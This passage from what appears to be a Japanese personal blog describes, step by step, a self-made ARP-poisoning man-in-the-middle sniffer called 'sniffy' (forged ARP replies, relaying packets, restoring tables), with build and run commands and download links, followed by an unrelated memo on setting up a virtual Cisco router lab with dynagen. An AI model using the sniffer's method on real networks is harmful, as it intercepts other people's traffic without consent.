arpテーブルは何十秒かおきにリフレッシュされるので、攻撃者は任意の時間を設定し、常にarp_responseパケットを送信し、
arpテーブルを更新する。
arp_poisoning(host1_eth_addr,host2_eth_addr,device)関数を別のプロセスで起動し、mainプログラムと一緒に走らせる。
※ソケットのが効率がよさそうですが、プロセスを生成してしまっています。
4.受信したパケットの送信元MACアドレスを自分のMACアドレスに書き換えて再送信する
受信したパケットを各ヘッダ毎に構造体に割り当て、ethernetヘッダの送信元MACアドレスを2.で取得した自分のMACアドレスに書き換え、
再送信する。
packet_relay(device,host1_eth_addr,host2_eth_addr);関数を呼び出しパケットの転送処理をする
5.終了コマンドが入力されたらarpテーブルを元に戻す
終了コマンドが入力されたら、正しいarp_responseパケットを生成し、両ホストに送信する
この処理がないと、攻撃者がスニッファを終了したとき、両ホストのarpテーブルが間違った情報のままなので、
両ホストのパケット通信が途切れてしまう。
arp_table_restore(device,host1_eth_addr,host2_eth_addr)を実行し、arpテーブルを元に戻す。
ソースファイル使用時の環境設定&実行:
1.「libpcap」をインストールする
yum install libpcap-devel
gcc -o sniffy -lpcap *.c *.h
3.生成された実行ファイルに引数を与え実行する
./sniffy wlan0 192.168.2.1 192.168.2.20
※ 実行ファイル名 <デバイス> <ホスト1> <ホスト2>
※ Fedora15でコンパイル(gcc4.6,libpcap1.1.1)し、実行するとうまくいかない。Fedora13(gcc4.4,libpcap1.0.0)でコンパイル・実行はうまくできる。
RPMパッケージ:
sniffy-1.0-0.i386.rpm ←クリックしてダウンロードできます。
#sniffy <device> <host1> <host2>
sniffy-1.0.tar.gz ← クリックしてダウンロードできます。
sniffy-1.0.tar.gzに含まれるファイル:
・fuction.h ヘッダーファイル 各パケットのヘッダなどが定義されている
・main.c メインファイル
・function.c 複数の関数が入っている
・arp_poisoning.c ポイゾニング関数と終了時にMACアドレスを元に戻す関数が含まれる
・packet_replay.c ポイゾニング中の両ホストのパケットの中身を入れ替えて中継する
ルーティングプロトコル実験
ふと本棚を見ると今まで勉強してきた本達がズラっと並んでいる。
その中から久しぶりにルーティングプロトコルについての本を読み返してみた。
昔は読むだけでなんとなく理解した気になっていたが、ルーティングプロトコルの種類と名前と挙動など、
なんとなくしか覚えていないことに気づきました。
なので、実際にネットワークを構築してその中でルーティングプロトコルを動かして実験してみては楽しいのではないか?と思い、
仮想的にネットワークを構築して実験してみることにしました。
その際のメモです。
構築するに当たって用意するもの:
CISCOのIOSのイメージファイル(例:c7200-jk9s-mz.124-13b.bin)
dynagen-dynamips(例:dynagen-0.10.0_dynamips-0.8.0-RC1_Win_XP_setup.exe)
winpcap(例:WinPcap_4_1_beta5.exe(古い、最新のものをインストールしてください…))
上記の3つです。下の2つはインターネットから拾ってこれますが、CISCOのIOSイメージファイルだけは別個用意してください。
準備:
1.dynagenをインストールする
※インストールが完了すると、デスクトップ上に「Networkdevice list」「Dynamips Server」「Dynagen Sample Labs」が作成される
2.winpcapがインストールされていない人はwinpcapもインストールする
3.IOSをC:/programfiles/dynamips/imagesフォルダに入れる(dynamipsがインストールされているディレクトリ)
4.Dynamips sample_labs¥simple1フォルダのsimple1.netをテキストエディタで開き編集する
行頭から6行目の「image」行をIOSイメージの格納されているディレクトリ名¥IOSイメージ名に書き直す
(変更前)image = \Program Files\Dynamips\images\c7200-jk9o3s-mz.124-7a.image
(変更後)image = C:\Program Files\Dynamips\images\c7200-jk9s-mz.124-13b.bin
5.デスクトップ上にある「Dynamips Server」を起動する
6.続いて先ほど編集したDynagen/simple/simple1.netを起動させる
7.=>が表示されて起動したら、telnet R1を入力する
※設定ファイルで定義されているルータの名前がR1なので、telnetコマンドでR1に接続をしている
8.Would you like to enter the initial configuration dialog? [yes/no]: が表示されたらnoを選択
9.Router>が表示され、起動が完了する。後は、CISCOのルータ操作を実行すればいい
設定ファイル(simple1.net):
このファイルを書き換えることにより、ルータの数を増やしたり、設定を変更することができる。
#Simple lab
[localhost]
7200
image = C:\Program Files\Dynamips\images\c7200-jk9s-mz.124-13b.bin
#On Linux / Unix use forward slashes:
#image = /opt/7200-images/c7200-jk903s-mz.124-7a.image
npe = npe-400
ram = 160
ROUTER R1
s1/0 = R2 s1/0
router R2
# No need to specify an adapter here, it is taken care of
# by the interface specification under Router R1
初期段階での設定は、R1のシリアルポート1/0とR2のシリアルポート1/0が接続されている。